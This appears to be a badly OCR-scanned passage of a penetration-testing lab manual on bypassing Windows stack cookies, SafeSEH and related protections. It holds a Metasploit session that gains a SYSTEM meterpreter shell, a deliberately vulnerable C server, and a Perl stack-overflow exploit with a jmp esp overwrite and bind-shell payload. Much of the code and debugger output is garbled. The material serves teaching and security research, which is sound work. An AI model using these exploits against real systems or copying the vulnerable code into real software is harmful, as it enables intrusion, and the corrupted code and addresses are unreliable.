msf exploit(custom vulnserver) > show options

Module options:

Name Current Setting Required Description

RHOST 1%2.168.24.3 yes The target address
RPORT 200 yes The target port

Payload opticns (windows/meterpreter/bind tcp):

Name Current Setting Regquired Description

EXITFUNC process yes Exit techniqgue: seh, thread, process
LFORT 4444 yes The lcoccal port

RHOST 192.168.24.3 no The target address

Exploit target:

Id HName

1 Windows 2003 Server R2 SP2
msf exploit(custom vulnserver) > exploit

[*] Started bind handler

*] Transmitting intermediate stager for over-sized stage... (216 bytes)
[*} Sending stage (718336 bytes)

*iI Meterpreter session 2 opened (192.168.24.1:561009 -> 192.168.24.3:4444)

meterpreter > sysinfo
Computer: WINZ003-C1
0s : Windows .NET Server (Build 3790, Service Pack 2).

meterpreter > getuid
Server username: WINZ2003-~01\Administrator
meterpreter > ps

Process list

PID Nane Path
300 SmSS.exe \SystemRoot\System32\smss.exe
372 winlogon.exe VPPACIA\WINDOWS\system32\winlogon.exe

396 Explorer.EXE AWINDOWS\Explorer.EXE

420 services.exe P\WINDOWS\system32\services.exe
424 ctfmon.exe (\WINDOWS\system32\ctfimon.axe
432 lsass.exe \WINDOWS\system32\lsass.exe
652 svchost.exe \WINDOWS\system32\svchost.exe

1 \WINDOWS\System32\svchost.exe
A\WINDOWS\system32\spoolsv.exe
:\WINDOWS\System32\svchost.exe
IAWINDOWS\system32\dllhost .exe
A\WINDOWS\System3Z\svchost.exe
AWINDOWS\System32\svchost.exe

832 svchost.exe
996 spoolsv.exe
1132 swvchost.exe
1392 dllhost.exe
1580 svchost.exe
1600 svchost.exe

QOO0 00aOa0n
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2352 cmd.exe C:\WINDOWS\system32\cmd.exe
2888 wvulnserver.exe C:\vulnserver\lccivulnserver.exe

meterpreter > migrate 996

[*] Migrating to 996...

[*] Migration completed successfully.
meterpreter > getuid

Server username; NT AUTHORITY\SYSTEM
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Lab #4
Bypassing OS and Complier Protections:

Stack Cookies, SafeSEH, DEP and ASLR
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Introduction

In all previous labs, we have looked at building exploits that would work on Windows XP /2003 server.

The success of all of these exploits (whether they are based on direct ret overwrite or exception handier
structure overwrites) are based on the fact that a reliable return address or pop/pop/ret address must be found,
making the application jump to your shellcode. In all of these cases, we were able to find a more or less reliable

address in one of the OS dlls or application dlls. Even after a reboot, this address stays the same, making the
exploit work reliably.

Fortunately for the zillions Windows end-users out there, a number of protection mechanisms have been built-in
into the Windows Operating systems.

- Stack cockies (/GS Switch cookie)

- Safeseh (/Safeseh compiler switch)

- Data Execution Prevention (DEP) (software and hardware based)
- Address Space Layout Randomization (ASLR)

Stack cookie /GS protection

The /GS switch is a compiler option that will add some code to function’s prologue and epilogue code in order
to prevent successful abuse of typical stack based (string buffer) overflows.

When an application starts, a program-wide master cookie (4 bytes (dword), unsigned int) 1s calculated (pseudo-
random number) and saved in the .data section of the loaded module. In the function prologue, this program-
wide master cookie is copied to the stack, right before the saved EBP and EIP. (between the local variables and

the return addresses)

[buffer] [cockie] [saved EBP] [saved EIP]

During the epilogue, this cookie is compared again with the program-wide master cookie. If it is different, it
concludes that corruption has occurred, and the program is terminated.

In order to minimize the performance impact of the extra lines of code, the compiler will only add the stack
cookie if the function contains string buffers or allocates memory on the stack using _alloca. Furthermore, the
protection is only active when the buffer contains 5 bytes or more.

In a typical buffer overflow, the stack is attacked with your own data in an attempt to overwrite the saved EIP.
But before your data overwrites the saved EIP, the cookie is overwritten as well, rendering the exploit useless
(but it may still lead to a DoS). The function epilogue would notice that the cookie has been changed, and the

application dies.
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[buffer] {cockie] [saved EBRP) [saved EIP]
- [AAARADMAAAAAAABAAAAARAAAAAAAARBARALLALA ]

f

The second important protection mechanism of /GS is variable reordering. In order to prevent attackers from
overwriting local variables or arguments used by the function, the compiler will rearrange the layout of the
stack frame, and will put string buffers at a higher address than all other variables. So when a string buffer
overflow occurs, it cannot overwrite any other local variables.

The stack cookie is often referred to as “canary” as well. Read more at

http://en. wikipedia.org/wiki/Buffer _overflow_protection, at http://blogs.technet.com/srd/archive/2009/03/16/gs-
cookie-protection-effectiveness-and-limitations.aspx and at http://msdn.microsoft.com/en-
us/library/aa290051(VS.71).aspx

Stack cookie /GS bypass methods

The casiest way to overcome the stack based overflow protection mechanisms, requires you to
retrieve/guess/calculate the value of the cookie (so you can overwrite the cookie with the same value in your
buffer). This cookie sometimes (very rarely) is a static value... but even if it is, it may contain bad characters
and you may not be able to use that value,

The Shellcoder’s Handbook showed how stack protection can be bypassed using some other techniques, that
don’t require the cookie to be guessed. (and more excellent work in this area has been done by Alex Soritov and
Mark Dowd, and by Matt Miller.)

Anyways, The Shellcoder’s Handbook described that, if the overwritten cookie does not match with the original
cookie, the code checks to see if there is a developer defined exception handler. (If not, the OS exception
handler will kick in). If the hacker can overwrite an Exception Handler registration structure (next SEH +
Pointer to SE Handler), AND trigger an exception before the cookie is checked, the stack based overflow could
be executed (= SEH based exploit) despite the stack cookie.

After all, one of the most important limitations of GS is that it does not protect exception handler records. At
that point, the application would need to rely solely on SEH protection mechanisms (such as SafeSEH etc) to
deal with these scenario’s. As explained in lab part 3, there are ways to overcome this safeseh issue.

In 2003 server (and tater XP/Vista/7/... versions) the structured exception has been modified, making it harder
to exploit this scenario in more current versions of the OS. Exception handlers are now registered in the Load
Configuration Directory, and before an Exception Handler is executed, its address is checked against the list of
registered handlers. We’ll talk about how to bypass this later on in this article.

Bypass using Exception Handling

So, we can defeat stack protection by triggering an exception before the cookie is checked during the epilogue
(or we can try to overwrite other data (parameters that are pushed onto the stack to the vulnerable function),
which is referenced before the cookie check is performed.), and then deal with possible SEH protection
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mechanisms, if any... Of course, this second technique only works if the code is written to actually reference
this data. You can try to abuse this by writing beyond the end of the stack.

[buffer) {cookie] [EE record] {saved ebp) {saved eip] [arguments ]

OVEIWELite — — — — — — = «= = = = e e — = — o e m o o e e e m e = = >

The key in this scenario is that you need to overwrite far enough, and that there is an application spectfic
exception registered (which gets overwritten). If you can control the exception handler address (in the
Exception_Registration structure), then you can try to overwrite the pointer with an address that sits outside the
address range of a loaded module (but should be available in memory anyways, such as loaded modules that
belong to the OS etc). Most of the modules in newer versions of the Windows OS have all been compiled with
/safeseh, so this is not going to work anymore. But you can still try to find a handler in a dll that is inked
without safeseh (as explained in part 3 of this lab series). After all, SEH records on the stack are not protected
by GS... you only have to bypass SafeSEH.

As explained in a previous lab, this pointer needs to be overwritten with a pop pop ret instruction (so the code
would land at nseh, where you can do a short jump to go to your shellcode). Alternatively (or if you cannot find
a pop pop ret instruction that does not sit in the address range of a loaded module belonging to the application)
you can look at ESP/EBP, find the offset from these registers to the location of nseh, and look for addresses that

would do
- call dword ptr {esp+nn]
- call dword ptr {ebp+nn]
- jmp dword pir {esp-nn]
- jmp dword ptr[ebp+nn]
Where nn is the offset from the register to the location of nseh. It’s probably easier to look for a pop pop ret
combination, but it should work as well. the pvefindaddr Immdbg plugin may help you finding such
instructions. (!pvefindaddr jseh or !pvefindaddr jseh all). Furthermore, you can also use pointers to the “add

esp,8 + ret” instructions. Again, !pvefindaddr jseh (or !pvefindaddr jseh all) will help you with this (feature
added in v1.17 of pvefindaddr)

Bypass by replacing cookie on stack and in .data section

Another technique to bypass stack cookie protection is by replacing this authoritative cooki¢ value in the .data
section of the module (which is writeable, otherwise the applicaiton would not be able to calculate a new cookie
and store it at runtime), and replace the cookie in the stack with the same value. This technique is only possible
if you have the ability to write anything at any location. (4 byte artbitrary write) — access violations that state
something like the instruction below indicate a possible 4 byte arbitrary write :

mov dword ptriregl], reg2
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{In order to make this work, you obviously need to be able to control the contents of regl and reg2). regl
- should then contain the memory location where you want to write, and reg2 should contain the value you want
to write at that address.

; Bypass because not all buffers are protected

Another exploit opportunity arises when the vulnerable code does not contains string buffers (because there will
. not be a stack cookie then) This is also valid for arrays of integers or pointers.

(buffer] [cookie]) [EH record] [saved ebpl {saved eip)[arguments )

Example : If the “arguments™ don’t contain pointers or string buffers, then you may be able to overwrite these
- arguments and take advantage of the fact that the functions are not GS protected.

- . Bypass by overwritihg stack data in functions up the stack

When pointers to objects or structures are passed to functions, and these objects or structures resided on the

- stack of their callers (parent function), then this could lead to GS cookie bypass. (overwrite object and vtable

- pointer. If you point this pointer to a fake vtable, you can redirect the virtual function call and execute your evil
code)

_ Bypass because the cookie is static

- Finally, if the cookie value appears to be the same/static every time, then you can simply put this value on the
- stack during the overwrite.

. Stack cookie protection debugging & demonstration

In order to demonstrate some stack cookie behaviour, we’ll use a simple piece of code. This code contains
- vulnerable function pr() which will overflow if more than 500 bytes are passed on to the function.

' Install Visual Studio C++ 2008 by running the vesetup2008.exe file located in the Compilers & interpreters
. directory.

Start by selecting to create a new console application.

Next, use the following code and compile under VS2008 :

¢ #include "
[ #include "
#include "

r n )

; fpragma comment (lib,
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#define SS ERROR 1
#define 55 CK 0

vold pr{ char *str)

{
char buf[500)=" ";
strcpy (buf, str);

}
void sError {chay *str)
{

printf (" "ostr);
. WSACleanup();

o)
. int _tmain{int argc, TCHAR* argv(])
L

" WORD sockVersion;

i WSADATA wsaData;

%int rvVal;
c char Message[5000]=" ";
- char buf[20C0]="";

. u_short LocalPort;
gLocalPort = 200;

. sockVersion = MAKEWORD (1, 1);
i WSAStartup {sockVersion, &wsaData);

ESOCKET serverSocket = socket (AF INET, SOCK_STREAM, 0}

L if (serverSocket == INVALID_SOCKET)
A
: sErroxr {" ")
; return 55 _ERROR;
©}

 SCCKADDR_IN sin;

. sin.sin family = PF_INET;

: sin.sin port = htons(LocalPort);
sin.sin_addr.s addr = INADDR_ANY;

‘ rval = bind{serverSocket, (LPSCCKADDR)&sin, szlzeocf({sin)};
L if(rVal == SOCKET ERROR}

P

sError (" "y,

WSACleanup () ;

return 55 _ERROR;

rval = listen(serverSocket, 10);
Cif{rval == SOCKET_ERROR)
{

sError (" "y ;
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WSACleanup (};
return 5SS ERROR;

- SOCKET clientSocket;
" clientSocket = accept(serverSocket, NULL, NULL);
cif(clientSocket == INVALID_SOCKET}

H

{
sError (" ")
WSAClLeanup () ;
return SS_ERROR;

. int bytesRecv = SOCKET_ERROR;
i while( bytesRecv == SOCKET_ERROR )

{
bytesRecv = recv( clientSocket, Message, 5000, 0 );

if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )

—

printfi{ * "y
brealk;

i pr(Message);

E closesocket (clientSocket) ;

closesocket (serverSccket);

;WSACleanup();

;éreturn 55 0K;
)

Edit the vulnerable server properties
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Compile the code (debug mode).

Open the vulnerable server.exe in your favorite debugger and look at the function pr() :

(8c0.9c8): Break instruction exception ~ code 80000003 ({(first chance)

c eax=T7ffde000 ebx=00000001 ecx=00000C02 edx=00000003 esi=000006004 edi=00000005
% eip=7c90120e esp=0039ffcc ebp=0039Lff4 iopl=0 nv up ei pl zr na pe nc
% cs=001b ss=0023 ds=0023 es=0023 fs5=0038 efl=00000246
 ntdll ! DbgBreakPoint:
| 7¢90120e cc

F0:001> uf pr

? *%%* WARNING: Unable to verify checksum for C:\Documents and Settings\peter\My

§ Bocuments\Visual Studio 2008\Projects\vulnerable server\Debug\vulnerable server.exe
' vulnerable server!pr [c:ildocuments and settings\peter\my documents\visual studio

. 2008\projects\vulnerable server\vulnerable server\vulnerable servexr.cpp € 17]:

gs=0000

int. 3

17 00411430 55 push ebp

17 00411431 8hec mov’ ebp, esp

17 00411433 8ilechc020000 sub esp, 2BCh

17 00411439 53 push ebx

17 €041143a 56 push esi

17 0041143b 57 push edi

17 0041143¢c 8dbd44fdffff lea edi, [ebp-2BCh]}
17 00411442 H%af000000 mov ecx, 0AFh

17 00411447 h8ccccececo mov eax, 0CCCCCCCCh
17 0041144¢c f£3ab rep stos dwerd ptr es:
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18 0041144e a03¢cH74100 mov al,byte ptr [vulperable server! string’

(0041573¢) ]

18 00411453 B88508feffff nov byte ptr [ebp-1F8h],al

18 00411459 68£3010000 push 1F3h

18 0041145e 6a060 push 0

18 004311460 Bd8509feffff lea eax, [ebp-1F7h]

18 C04114e6 50 push eax

18 00411467 e81bfcffff call vulnerable server!ILT+130{ memset) {(C0411C87)

18 0041146¢c B3cd0c add esp, 0Ch

19 0041146f 804508 mov eax,dword ptr [ebp+8]

19 00411472 50 push eax

19 00411473 8d8d08feffff lea ecx, [ebp-1F8h)

19 00411479 51 " push ecx

19 0041147a eB83ffcffff call vulnerable server!ILT+185( strcpy) (004110be)

19 0C41147f 83c408 add esp, 8

20 00411482 52 push edx

20 00411483 8bed mnov ecx, ebp

20 00411485 S0 push eax

20 00411486 8d15a8144100 lea edx, [vulnerable server!pr+0x78 {(004114a8}]

20 0041148c eBOLfcffff call vulnerable_ server!ILT+155(_RTC_CheckStackVars
(004110a0)

20 00411491 58 pop eax

20 00411432 5a pop edx

20 00411493 5f pop edi

20 00411494 5e pop esi

20 00411495 Sb pop ebx

20 00411496 81lc4bc020000 add esp, 2BCh

20 0041149¢ 3bec cmp ebp, esp

20 004114%e e8cffcrfff call vulnerable_server!ILT+365(__RTC_CheckEsp)
(00411172)

20 004114a3 8heb mov esp, ebp

20 00411445 5d pop ebp

20 004114a6 ¢3 ret

As you can see, the function prologue does not contain any references to a security cookie whatsoever.

Now rebuild the executable with the /GS flag enabled (set Buffer Security Check to “On” again) and look at the
function again :

éj {738.828): Break instruction exception - code 80000003 (first chance)
P eax=00251eb4 ebx=7ffdc000 ecx=00000002 edx=00000004 esi=00251£48 edi=0025leb4

L eip=T7c90120e esp=0012£fp20 ebp=0012fc9%4 iopl=D nv up ei pl nz na po nc
- ©5=001b s5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000202
- ntdll!DbgBreakPoint:
© 7c20120e cc ing 3

©0:000> uf pr

*** WARNING: Unable to verify checksum for vulnerable server.exe

vulrerable server!pr [c:\deccuments and settings\peter\my documents\visual studio
¢, 2008\projectsivulnerable server\vuinerable server\vulnerable server.cpp @ 17]:

17 00411430 55 push ebp
17 00411431 8bec mov ebp, esp
17 00411433 8lecc0020000 sub esp, 2C0h
17 00411439 53 push ebx
17 0C41143a 56 push esi
17 0041143b 57 push edi

17 0041143c 8dbd40fdffff lea edi, [ebp-2C0h]
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17 00411442 bSL00GOC00 nov ecx, 0BCh

17 00411447 b8cccocecce mov eax, 0CCCCCCCCh

17 0041144c¢ f3ab rep stos dword ptr es:[edi]

17 0041l1l44e alG0704100 mov eax,dword ptr [vulnerable server! security cookie
{(00417000) ]

17 004131453 33¢5 Xox eax ,ebp

17 00411455 8945fc mov dword ptxr [ebp-4],eax

18 00411458 al3¢574100 mov al,byte ptr {vulnerable server! string'
(0041573¢) ]

18 0041145d 888504feffff mov byte ptr febp-1FCh],al

18 00411463 68£3010000 push 1¥3h

18 00411468 6a00 push 0

18 00411462 B8dBLOSfeffff lea eax, [ebp~1FBh]

18 00411470 50 push eax

18 00411471 e8llfcffff call vuinerable server!ILT+130{ memset) (00411087)

18 00411476 83cdlc add esp, 0Ch

19 00411479 84508 mov eax,dword ptr [ebpt8]

19 0041147¢ 50 push 2ax

19 004i147d 8dB8d04feffff lea ecx, [ebp-1FCh]

19 00411483 51 push ecx

19 00411484 e835fcffff call vulnerable server!ILT+185(_ strcpy) (004110be)

19 00411489 B83c408 add esp, 8

20 0041148c 52 push edx

20 0041148d 8bcd mov ecx, ebp

20 0041148f S0 push eax

20 00411490 8d15bcl44100 lea edx, [vulnerable server!pr+0x8c (004114bc}]

20 00411426 e805fcffff call vulnerable server!ILT+155{ RTC_CheckStackvVars
(004110a0)

20 0041149b 58 pop eax

20 0041148c 5a pop edx

20 004114%d 5f pop edi

20 004114%e 5e pop esi

20 0041149f 5b pop ebx

20 004114a0 8ki4dfc mov ecx, dword ptr [ebp-4]

20 004114a3 33cd xor ecx, ebp

20 004114a5 eB7SLfbEfff call vulnerable server!ILT+30( security check cookie
(00411023)

70 0041l4aa 8lcdc0020000 add esp, 2C0h

20 004114b0 3bec cmp ebp, esp

20 004114b2 eBbbfcffff call vulnerable server!ILT+365(__RTC_CheckEsp)
{00411172)

20 004114b7 8beb mowv esp,ebp

20 0041148 5d pop ebp

20 0041l4ba c3 ret

In the function prolog, the following things happen :

- sub esp,2¢Oh : 704 bytes are set aside

- mov eax,dword ptr{vulnerable server! security cookie (00417000)] : a copy of the cookie is fetched
- Xor eax,ebp : logical xor of the cookie with EBP

- Then, cookie is stored on the stack, directly below the return address
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In the function epilog, this happens :

- mov ecx,dword pir [ebp-4] : get stack’s copy of the cookie

- Xor ecx,ebp : perform the xor again

- call vulnerable_server!ITL+30(__security_check_cookie (00411023) : jump to the routine to verify the cookie
In short : a security cookie is added to the stack and is compared again before the function retumns.

When you try to overflow this buffer by sending more than 500 bytes to port 200, the application will die (in the

debugger, the application will go to a breakpoint - uninitialized variables are filled with 0xCC at runtime when
compiling with VS2008 C++, due to RTC) and esp contains this :

; (238.444): Break instruction exception - code 80000003 (first chance)
1 2ax=00000001 ebx=0041149b ecx=bb522d78 edx=0012cbh%b esi=102ce7bl edi=0000C002

[ elp=T7c90120e esp=0012cbbc ebp=0012da08 iopl=0 nv up ei pl nz na po nc
:§cs=001b 35=0023 ds=0023 es=0023 f£5=003b gs=00060 ef1=00000202
. ntdll:iDbgBreakPoint: '
'+ 7¢90120e cc int 3
(1 0:000> d esp
1 0012c¢cbbc 06 24 41 00 00 GO0 GO 00-01 5¢ 41 00 2c da 12 00 .SA...... NAL, ..
: j 00lZebec 2c da 12 00 GO 00 00 0C0~dec cb 12 00 b0 &7 2¢ 1D e, ;-
1 00l2chdc 53 00 74 00 61 00 63 00-6b 00 20 GO0 61 00 72 0O S.t.a.c.k. .a.r
9§0012cbec 6f 00 75 00 6e 00 64 00-20 00 74 00 68 00 65 00 o.u.n.d. .t.n.e
1 001l2cbfc 20 00 76 00 61 00 72 00-6% 00 61 00 62 Q00 6c 00 .v.a.r.we.a.b.l
{1 0012ccOc 65 €0 20 00 27 00 62 00-75 00 66 00 27 00 20 00 e. "b.u.f.!
1 0012ccle 77 0C 61 00 73 00 20 00-63 GO0 6f 00 72 00 72 00 w.a.s c.o.r.r

5.
£ 0012cc2c 75 00 70 GO0 74 00 65 00-64 00 2e GO0 00 00 00 00 u.p.t.e.d.......

The text i ESP “Stack around the variable ‘buf’ was corrupted” is the result of RTC check that is included in
VS 2008. Disabling the Run Time Check in Visual Studio can be done by disabling compile optimization or
setting /RTCu parameter.. Of course, in real life, you don’t want to disable this, as it is well effective against

stack corruption.

When you compile the original code with lcc-win32 (which has no compiler protections, leaving the executable
vulnerable at runtime), and open the executable in windbg (without starting it yet) then the function looks like
this :

. (B2c.af4): Break instruction exception - code 80000003 (first chance)
i eax=00241ebd ebx=7££d7000 ecx=00000005 edx=00000020 esi=00241f48 edi=00241ebd

©oelp=7c9%0120e esp=0012£fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na pPo nc

- cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00000202
ntdll!DbgBreakPoint:

- 7¢90120e cc int 3

0:000> uf pr
*¥** WARNING: Unable to verify checksum for c:\sploits\vulnsrvi\vulnsrv.exe

vulnszrv!pr:

00401244 55 push ebp
£ 00401245 8%e5 mowv ebp,esp
004012d7 81lecf4010000 Sub esp, 1F4h

004012dd bh974000000 mov ecx, 7Dh

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual



vulnsrv!pr+ixe:

F 00401316 <3

Now send a 1000 character Metasploit pattern) to the server (not compiled with /GS) and watch it die :

004012e2 49 dec acx
004012e3 c7048chabafaff mov dword ptr [esptecx*4], 0FFFASASAQ
004012ea T5£6 jne vulnsrv!ipr+Oxe (004012e2)
vulnsrv!pr+0x18:
- 004012ec 586 push esi
S 004012ed 57 push edi
. 004012¢ce 8dbdOcfeffff lea edi, {ebp~-1Fdh]
- 004012£4 8d35a0a04000 lea esi, [vulnsrvimain+0x8dée (0040a0a0)]
: 004012fa bS%£4C10000 mov ecx, 1F4h
- 004012FFf f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
00401301 ££7508 push dword ptr [ebp+8]
© 00401304 Bdbd0cfeffff lea edi, {ebp~1F4h)]
0040130a 57 push edi
:0040130b e8413000C0 call vulnsrv!imaint0x301f (00404351)
00401310 83c408 add esp, 8
| 00401313 5f pop edi
i 00401314 Se pon esi
1 00401315 <9 leave
ret

é {c60.chl): Access violation - code c0000005 (!!! second chance !11)

| eax=0012e656 ebx=00000000 ecx=0012e4de edx=0012e600 esi=00000001 edi=00403388
| eip=72413971 esp=0012e264 ebp=41387141 iopl=0
es=0023

i ¢s=001b s5s=0023 ds=0023
- 72413971 27 227
© 0:000> tload byakugan

. [Byakugan] Successfully loaded!
- 0:000> !pattern offset 1000

£5=003b gs=0000

[Byakugan] Control of ebp at offset 504.
[Byakugan} Control of eip at offset 508.

We control eip at offset 508. ESP points to a part of our buffer:

. 0:000> d esp

nv up ei pl zr na pe nc
efl=00000246

[ 0012e264 30 41 72 31 41 72 32
f0012Ze274 41 72 36 41 72 37 41
£ 00120284 73 31 41 73 32 41 73
' 0012294 36 41 73 37 41 73 38
© 0017e2aé 41 74 32 41 74 33 41
" 0012e2b& 74 37 41 74 38 41 74
0012e2c4 32 41 75 33 41 75 34
0017e2d4 41 7% 38 41 7% 39 41
0:000> d
S 0012e2ed4 76 33 41 76 34 41 76
S 0012e2f4 38 41 76 39 41 77 30
00122304 41 77 34 41 77 35 41
S 0012e314 77 39 41 78 30 41 78
0012e324 34 41 78 35 41 78 36
0012e334 41 79 30 41 79 31 41
0012e244 79 35 41 79 36 41 79

41-72 33 41 72 34 41 72 35 OArlAr2Ar3ArdArS
72-38 41 72 39 41 73 30 41 Ar6Ar7Ar8Ar9AsOA
33-41 73 34 41 73 35 41 73 s1As2As3As4AsSAs
41-73 39 41 74 30 41 74 31 6AsTAs8AsIAtOAtl
74-34 41 74 35 41 74 36 41 At2At3At4ALSALGA
39-41 75 30 41 75 31 41 75 t7At8At9AulAulAu
41-75 35 41 75 36 41 75 37 2Au3AudAuShubhu?
76-30 41 76 31 41 76 32 41 AuSAUYAVOAVIAV2ZA
35-41 76 36 41 76 37 41 76 v3AVAAVSAVEAVTAV
41-77 31 41 77 32 41 77 33 BAVOAwOAwlAw2Aw3
77-36 41 77 37 41 77 38 41 AwdAwSAw6AwTAwSA
31-41 78 32 41 78 33 41 78 w9AxOAx1AxZAn3AX
41-78 37 41 78 38 41 78 39 4AxSAX6AxTAX8AXO
79-32 41 79 33 41 79 34 41 AyOAylAy2Ay3Ay4A
37-41 79 38 41 79 39 41 7a yS5Ay6AyTAy8Ay9Az
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| 0012e354 30 41 7a 31 41 7a 32 41-7a 33 41 7a 34 41 7a 35 OBzlAz2Az3Az4Az5
| 0:000> d
* 0012e364 41 7a 36 41 7a 37 41 7a-38 41 7a 39 42 61 30 42 Az6Az7AzSAzORAOR
- 0012e374 61 31 42 61 32 42 61 33-42 61 34 42 61 35 42 61 alBa2?Ba3BadBa5Ba
0012e384 36 42 61 37 42 61 38 42-61 39 42 62 30 42 62 31 6Ba7Ba8RaSEbOBbLL
0012e394 42 62 32 42 62 233 42 62-34 42 62 35 42 62 36 42 Bb?EL3IBLIBRHSBHER
. 0012e3a4 62 37 42 62 38 42 62 39-42 63 30 42 63 31 42 63 b7BbS8BbOBcORC]RE
. 0012e3b4 32 42 63 33 42 63 34 42-63 35 42 63 36 42 63 37 2Bc3BC4ABCSBCEBT
- 0012e3cd 42 63 38 42 63 39 42 64-30 42 64 31 42 64 32 42 BeEBeSBAOBAlRA2R
0012e3dd 64 33 42 64 34 42 64 35-42 64 36 42 64 37 42 64 d3RA4RASBA6BATBA

(esp points to buffer at offset 512)

‘jS ./pattern_offset.rb 0Arl 1000
1512

Quick and dirty exploit (with jmp esp from kernel32.dll : 0x7C874413) :

#
i Writing buffer overflows ~ Lab
# Exploit for vulnsrv.c

P #
S
| print ¢ "
:iprint " . ",
;print " : "
P70 prine .

. use strict;
L use Socket;
(- imy $junk = " " ox 508;

C#9mp esp (kernel32.dil)
- my Seipoverwrite = pack('V',60x7C874413);

.. # windows/shell bind tcp - 702 bytes

U4 htep: :

i # Encoder: x86/alpha upper

.| # EXITFUNC=seh, LPORT=5555, RHOST=
my $shellcode=" ‘ : o

in
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;my Sncps=" ox 10;

?# initialize host and port
i my $host = shift || "localhost';
i my $port = shift || 200;

Emy Sproto = getprotobyname{'tep');
o get the port address

me $iaddr = inet aton($host);
my Spaddr = sockaddr in($port, $iaddr);

print " "
# create the socket, connecit to the port
©socket {SOCKET, PF_INET, SOCK STREAM, Sproto) or die " v
fpring M "
connect {SCCKET, S$paddr) or die " ",
Cprint ¢ v,

print SOCKET $junk.Seipoverwrite.Snops.$shelicode.™ ;

n i .
r

o+

rin
lose SOCKET or die ™ ",

[$3re]
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system{" "y,

Ok, that works. Plain and simple, but the exploit only works because there is no /GS protection.

Now fry the same against the vulnerable server that was compiled with /GS :

Micrountt (R} Vindows Dolygsrr Vereiss 6 11 0001 404 K66
Copyright (o) Miososolt Corporatics i1l Tiahts reterwssd

*4# wait vith pending sttach
Syabol weardh Fath in SRVAC Swindby syslolefBitn congd] wiers sl $eongd
Ewscutable search path 1z TTHE Loonar wr 0

ModLowd 00400900 20404000 Coosploitsr gl nsrvvsiinerat! esers
Modload  PcHE0000 Fod%2060 CYIRDRAS et end2antd 1k dll
Fodload FoSRO008 ToBIE6G00 VINECRS syt and2barael 37 d1g

Moddlosd : FERI0IO0 Y8Ge 260D VRIS Y nuSandt_Hicroaad b
rﬂdlﬁmd* T1ad 8000 Tied9000 SRS s pet aa JINPRDCET Y 11

BodLoad  71ebISE0 ?iac?0)0 SWIRDCAG - sprtead2 052 32 41l ;
Bodload 33440000 77asni00 ASUIRSapretax I2NEEVEFI 32 415

ModLoad  FRe?Oa00 FTE02600 AUIRDOVS ey an 3IWRECRTY dl
Bodlosd @ f=04000 77885000 SYIRDCVES s kan I Secard? &1 2
Poelload  ¥VelDIQC 77068600 SVIRDG S ayston I Fasuert dl |
SUIRIC S y st en J2AWERHELE 211
U IRDAIS . s o E s wmock 4
SVIRICAS wepetaw tinbinetolg &l ]
CVIRDOUS gyt ea I NEDT 37 A5

Modload  Yedl 0006 Yeda1609 SYIRDON S sysean T2WRE052 dl )
rodiwd TORH0000 743ad000 AVIRDCE G puten 32~ IHHIS DLL

{Hodload  IlaelGh ¥lasasdo
{Sodload  71iaSG00 7FraBiG00
BodLosd . G600 £6162006
Poddload  FRELIOG08 T BRG00

e e I e e T e e Y P Er T ]

BodLooad - P1p%0006G Tle92000 C S WIRDCHESyztendyvwshtopap 418
eux e GO INDNANG ehuGONCDO00 oew+DEOGI NG eddxa7e300858 au)~0B000
oipetcilebi{ espr00L3dcfc obpr0Gl ddic icptel nv up oF
csm00lh  mze0Q2Y de=0073 2pe0023 f{s=00%h Qu=030D !
nigdd i KaFagtSyeiental [Fos
TotfmSi4 o3 vt

Application dies, but no working exploit.

Open the vulnerable server (with gs) again in the debugger, and before Jetting it run, set a breakpoint on the
security_check cookie :

. (b88.260): Break instruction exception - code 80000003 (first chance)

L eax=00251ebd ebx=T££d7000 ecx=00000002 edx=00000004 esi=00251£48 edi=00251ebd
?ﬁeip=7c90120@ esp=0012fbH20 ebp=0012fc%4 iopl=0
finv up el pl nz na po nc ¢5=001b s58=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00000202
‘ ntdli!bhgBreakPoint:

L 7¢90120e cc int 3

¢ 0:000> bp vulnerable_server!M_securitymcheck_cookie
- 0:000> bl
0 e 004012dd 0001 (0001) Q:*#%% vulnerable_server! security check cookie

What exactly happens when the buffer/stack is subject to an overflow ? Let’s see by sending exactly 512 A’s to
the vulnerable server (example code 1)

use strict;
use Socket;
my Sjunk = 7 " x 512;

# initialize host and port
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| *locathost’;
b 2007
srotobyname (Ttep ')

# get the port addressmy $iaddr = inet aton{Shost):
my $paddr = sockaddr in($port, S$iaddr);

n "
’

# create the socket, connect to the portsocket (SOCKET, PF INET, SOCK_STREAM, Sproto) or

Al N AL
(SR r

print " : ' "
connect {SOCKET, S$paddr) oxr die " ";
erint M . v

print SOCKET $junk.™ "

print " ",

closs SOCKET or die " o "

This is what happens in the debugger (with breakpoint set on vulnerable_server! _security_check_cookic) :

©0:000> g

. ModLoad: 71a50000 71a8f£C00
ModlLoad: 662b0000 66308000
{ ModLoad: 77£10000 77£5900C
ModLoad: 7410000 7e4all00
| ModLoad: 76390000 763ad000
. ModLoad: 71a90000 71a28C0C
: Breakpoint 0 hit

D eax=0012ed6e ebx=00000000 ecx=4153a31d edx~=0012e400 esi=C0000001 edi=00403384
S eip=004012dd esp=00122048 ebp=001Z2e25c iopl=0

. nv up ei pl nz na pe nc

D cs=D01b 55=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

" vulnerable server! security check cockie:

' 00401244 3b0d00304000 cmp ecx,dword ptr

[vulnerable server! security cookie (00403000)] ds:0023:00403000=ef793df6

AWINDOWS\system32\mswsock.dll
AWINDOWS\system32\hnetcfg.dll
\WINDOWS\system32\GDT32.d11
AWINDOWS\system32\USER32.d11
AWINDOWS\ system32\IMM32.DLL
\WINDOWS\System32\wshtcpip.dll

OO0 00

This illustrates that code was added and a compare is executed to validate the security cookie.

The security cookie stts at 000403000

0:000> dd 0x00403000

00403000 ef793df6é 1086c209 fEfLffffff LfLLTLFFL
00403010 £ffffffe 00000001 GOOCOOCO COO0O0COO
00402020 00CQ0001 00342a00 003429280 C0000GCO0
00403030 00CD0000 0CGCOCO00 000000C0 GO00OGOO

Because we have overwritten parts of the stack (including the GS cookie), the cookie comparison fails, and a
FastSystemCallRet is cailed.

Restart the vulnerable server, run the perl code again, and look at the cookie once more (to verify that it has
changed) :

(480, fb0) : Break instruction exception - code 80000003 {first chance)
